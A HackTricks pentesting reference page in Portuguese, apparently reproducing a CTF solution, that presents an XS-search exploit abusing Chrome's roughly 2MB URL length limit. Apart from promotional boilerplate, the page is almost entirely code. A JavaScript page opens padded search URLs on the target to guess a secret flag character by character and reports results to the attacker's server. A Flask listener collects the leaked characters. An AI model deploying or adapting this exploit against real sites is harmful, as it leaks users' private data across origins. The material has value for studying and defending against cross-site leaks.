hacktricks/pentesting-web/xs-search/url-max-length-client-side.md

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# Comprimento Máximo de URL - Lado do Cliente
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
Código de [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
```html
<html>
<body></body>
<script>
(async () => {
const curr = "http://secrets.wtl.pw/search?query=HackTM{"
const leak = async (char) => {
fetch("/?try=" + char)
let w = window.open(curr + char + "#" + "A".repeat(2 * 1024 * 1024 - curr.length - 2))
const check = async () => {
try {
w.origin
} catch {
fetch("/?nope=" + char)
return
}
setTimeout(check, 100)
}
check()
}
const CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789"
for (let i = 0; i < CHARSET.length; i++) {
leak(CHARSET[i])
await new Promise(resolve => setTimeout(resolve, 50))
}
})()
</script>
</html>
```
Lado do servidor:
```python
from flask import Flask, request
app = Flask(__name__)
CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789"
chars = []
@app.route('/', methods=['GET'])
def index():
global chars
nope = request.args.get('nope', '')
if nope:
chars.append(nope)
remaining = [c for c in CHARSET if c not in chars]
print("Remaining: {}".format(remaining))
return "OK"
@app.route('/exploit.html', methods=['GET'])
def exploit():
return open('exploit.html', 'r').read()
if __name__ == '__main__':
app.run(host='0.0.0.0', port=1337)
```
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>